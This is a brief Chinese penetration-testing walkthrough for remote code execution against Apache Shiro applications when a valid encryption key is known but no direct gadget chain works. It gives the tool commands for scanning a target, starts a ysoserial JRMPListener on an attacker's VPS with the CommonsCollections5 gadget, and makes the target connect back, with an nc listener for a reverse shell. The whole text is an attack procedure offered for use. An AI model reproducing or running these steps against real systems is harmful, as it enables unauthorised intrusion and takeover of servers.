实战shiro有key无链rce
场景:shiro框架,有可用key但没有可直接用的链
工具:shiro_tool.jar 和 ysoserial-0.0.6-SNAPSHOT.jar
前言
最近项目测试中,发现一个shiro框架的系统,经过工具扫描发现有可用的key,但是没有能直接使用的链,于是来复习一下有key无链来rce的打法。当利用工具发现有如下的情况,就可以尝试这种打法
操作步骤
当利用工具发现存在可使用的key但是没有能利用的链,就可以使用shiro_tool.jar来探测
java shiro_tool.jar http://xxx.xx
工具会帮我们探测,如果找到URLDNS可以利用dnslog来帮我们快速判断是否存在漏洞
这里我们选择JRMPClient
这时再利用公网的vps启用ysoserial工具
java -cp ysoserial-0.0.6-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1399 CommonsCollections5 "ping dnslog.cn"
然后回到shiro_tool.jar填上vps的 ip 和启用的端口,就可以进行rce
实战情况
通过探测发现可用key和jrmp的gadget
在vps启用工具ysoserial和监听反弹shell的nc
总结
- 需有可用key
- 可用JRMPClient
- 可绕过WAF